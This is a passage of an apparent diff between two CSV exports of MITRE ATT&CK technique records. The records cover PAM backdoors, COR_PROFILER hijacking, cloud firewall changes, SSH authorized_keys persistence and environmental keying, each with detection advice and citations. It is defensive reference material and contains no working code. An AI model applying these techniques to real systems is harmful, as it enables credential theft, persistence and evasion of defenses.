components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor) -Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771,attack-pattern,"['credential-access', 'defense-evasion', 'persistence']",2021-04-20T20:12:34.422Z,2020-06-26T04:01:09.648Z,"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. +Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)","['credential-access', 'defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1556/003,mitre-attack,T1556.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Scott Knight, @sdotknight, VMware Carbon Black', 'George Allen, VMware Carbon Black']","['File: File Modification', 'Logon Session: Logon Session Creation']",,"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. -Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","['File: File Modification', 'Logon Session: Logon Session Creation']","['Scott Knight, @sdotknight, VMware Carbon Black', 'George Allen, VMware Carbon Black']",,['root'],"['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.012', 'url': 'https://attack.mitre.org/techniques/T1574/012'}, {'source_name': 'Microsoft Profiling Mar 2017', 'url': 'https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview', 'description': 'Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.'}, {'source_name': 'Microsoft COR_PROFILER Feb 2013', 'url': 'https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)', 'description': 'Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.'}, {'source_name': 'RedCanary Mockingbird May 2020', 'url': 'https://redcanary.com/blog/blue-mockingbird-cryptominer/', 'description': 'Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.'}, {'source_name': 'Red Canary COR_PROFILER May 2020', 'url': 'https://redcanary.com/blog/cor_profiler-for-persistence/', 'description': 'Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.'}, {'source_name': 'Almond COR_PROFILER Apr 2019', 'url': 'https://offsec.almond.consulting/UAC-bypass-dotnet.html', 'description': 'Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.'}, {'source_name': 'GitHub OmerYa Invisi-Shell', 'url': 'https://github.com/OmerYa/Invisi-Shell', 'description': 'Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.'}, {'source_name': 'subTee .NET Profilers May 2017', 'url': 'https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html', 'description': 'Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1574/012,mitre-attack,T1574.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,COR_PROFILER,"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) +Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",True,['root'],"['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/012', 'external_id': 'T1574.012'}, {'source_name': 'Microsoft Profiling Mar 2017', 'description': 'Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview'}, {'source_name': 'Microsoft COR_PROFILER Feb 2013', 'description': 'Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)'}, {'source_name': 'RedCanary Mockingbird May 2020', 'description': 'Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.', 'url': 'https://redcanary.com/blog/blue-mockingbird-cryptominer/'}, {'source_name': 'Red Canary COR_PROFILER May 2020', 'description': 'Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.', 'url': 'https://redcanary.com/blog/cor_profiler-for-persistence/'}, {'source_name': 'Almond COR_PROFILER Apr 2019', 'description': 'Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.', 'url': 'https://offsec.almond.consulting/UAC-bypass-dotnet.html'}, {'source_name': 'GitHub OmerYa Invisi-Shell', 'description': 'Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.', 'url': 'https://github.com/OmerYa/Invisi-Shell'}, {'source_name': 'subTee .NET Profilers May 2017', 'description': 'Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.', 'url': 'https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html'}]",1.0,attack-pattern,attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T22:30:55.843Z,2021-08-30T21:35:12.049Z,COR_PROFILER,"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) -Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-06-26T16:09:58.920Z,2020-06-24T22:30:55.843Z,"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']","['Jesse Brown, Red Canary']",,"['User', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.007', 'url': 'https://attack.mitre.org/techniques/T1562/007'}, {'source_name': 'Expel IO Evil in AWS', 'url': 'https://expel.io/blog/finding-evil-in-aws/', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1562/007,mitre-attack,T1562.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disable or Modify Cloud Firewall,"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). +Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/012,mitre-attack,T1574.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jesse Brown, Red Canary']","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']",,"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",True,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/007', 'external_id': 'T1562.007'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}]",1.1,attack-pattern,attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T16:55:46.243Z,2021-03-08T10:33:02.146Z,Disable or Modify Cloud Firewall,"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS) -Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.",attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c,attack-pattern,['defense-evasion'],2021-03-08T10:33:02.146Z,2020-06-24T16:55:46.243Z,Monitor cloud logs for modification or creation of new security groups or firewall rules.,"['Firewall: Firewall Rule Modification', 'Firewall: Firewall Disable']",['Expel'],,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1098.004', 'url': 'https://attack.mitre.org/techniques/T1098/004'}, {'source_name': 'SSH Authorized Keys', 'url': 'https://www.ssh.com/ssh/authorized_keys/', 'description': 'ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.'}, {'source_name': 'Venafi SSH Key Abuse', 'url': 'https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities', 'description': 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.'}, {'source_name': 'Cybereason Linux Exim Worm', 'url': 'https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability', 'description': 'Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1098/004,mitre-attack,T1098.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SSH Authorized Keys,"Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config. +Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.",['defense-evasion'],https://attack.mitre.org/techniques/T1562/007,mitre-attack,T1562.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Expel'],"['Firewall: Firewall Rule Modification', 'Firewall: Firewall Disable']",,Monitor cloud logs for modification or creation of new security groups or firewall rules.,True,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/004', 'external_id': 'T1098.004'}, {'source_name': 'SSH Authorized Keys', 'description': 'ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.', 'url': 'https://www.ssh.com/ssh/authorized_keys/'}, {'source_name': 'Venafi SSH Key Abuse', 'description': 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.', 'url': 'https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities'}, {'source_name': 'Cybereason Linux Exim Worm', 'description': 'Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.', 'url': 'https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability'}]",1.0,attack-pattern,attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T12:42:35.144Z,2020-06-25T16:32:23.367Z,SSH Authorized Keys,"Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config. -Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)",attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4,attack-pattern,['persistence'],2020-06-25T16:32:23.367Z,2020-06-24T12:42:35.144Z,"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. +Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)",['persistence'],https://attack.mitre.org/techniques/T1098/004,mitre-attack,T1098.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tony Lambert, Red Canary']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. -Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification']","['Tony Lambert, Red Canary']",,"['User', 'Administrator']","['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1480.001', 'url': 'https://attack.mitre.org/techniques/T1480/001'}, {'source_name': 'EK Clueless Agents', 'url': 'https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf', 'description': 'Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.'}, {'source_name': 'Kaspersky Gauss Whitepaper', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf', 'description': 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.'}, {'source_name': 'Proofpoint Router Malvertising', 'url': 'https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices', 'description': 'Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.'}, {'source_name': 'EK Impeding Malware Analysis', 'url': 'https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf', 'description': 'Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.'}, {'source_name': 'Environmental Keyed HTA', 'url': 'https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/', 'description': 'Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.'}, {'source_name': 'Ebowla: Genetic Malware', 'url': 'https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf', 'description': 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.'}, {'source_name': 'Demiguise Guardrail Router Logo', 'url': 'https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js', 'description': 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1480/001,mitre-attack,T1480.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Environmental Keying,"Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) +Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.",True,"['User', 'Administrator']","['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1480/001', 'external_id': 'T1480.001'}, {'source_name': 'EK Clueless Agents', 'description': 'Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.', 'url': 'https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf'}, {'source_name': 'Kaspersky Gauss Whitepaper', 'description': 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf'}, {'source_name': 'Proofpoint Router Malvertising', 'description': 'Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices'}, {'source_name': 'EK Impeding Malware Analysis', 'description': 'Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.', 'url': 'https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf'}, {'source_name': 'Environmental Keyed HTA', 'description': 'Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.', 'url': 'https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/'}, {'source_name': 'Ebowla: Genetic Malware', 'description': 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.', 'url': 'https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf'}, {'source_name': 'Demiguise Guardrail Router Logo', 'description': 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.', 'url': 'https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js'}]",1.0,attack-pattern,attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-23T22:28:28.041Z,2021-06-09T18:53:58.159Z,Environmental Keying,"Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. -Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995,attack-pattern,['defense-evasion'],2021-03-29T19:56:42.242Z,2020-06-23T22:28:28.041Z,"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.","['Process: Process Creation', 'Command: Command Execution']","['Nick Carr, FireEye']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']",['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.007', 'url': 'https://attack.mitre.org/techniques/T1059/007'}, {'source_name': 'NodeJS', 'url': 'https://nodejs.org/', 'description': 'OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.'}, {'source_name': 'JScrip May 2018', 'url': 'https://docs.microsoft.com/windows/win32/com/translating-to-jscript', 'description': 'Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.'}, {'source_name': 'Microsoft JScript 2007', 'url': 'https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript', 'description': 'Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.'}, {'source_name': 'Microsoft Windows Scripts', 'url': 'https://docs.microsoft.com/scripting/winscript/windows-script-interfaces', 'description': 'Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.'}, {'source_name': 'Apple About Mac Scripting 2016', 'url': 'https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html', 'description': 'Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.'}, {'source_name': 'SpecterOps JXA 2020', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5', 'description': 'Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.'}, {'source_name': 'SentinelOne macOS Red Team', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.'}, {'source_name': 'Red Canary Silver Sparrow Feb2021', 'url': 'https://redcanary.com/blog/clipping-silver-sparrows-wings/', 'description': 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.'}, {'source_name': 'MDSec macOS JXA and VSCode', 'url': 'https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/', 'description': 'Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.0,True,https://attack.mitre.org/techniques/T1059/007,mitre-attack,T1059.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,JavaScript,"Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) +Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be 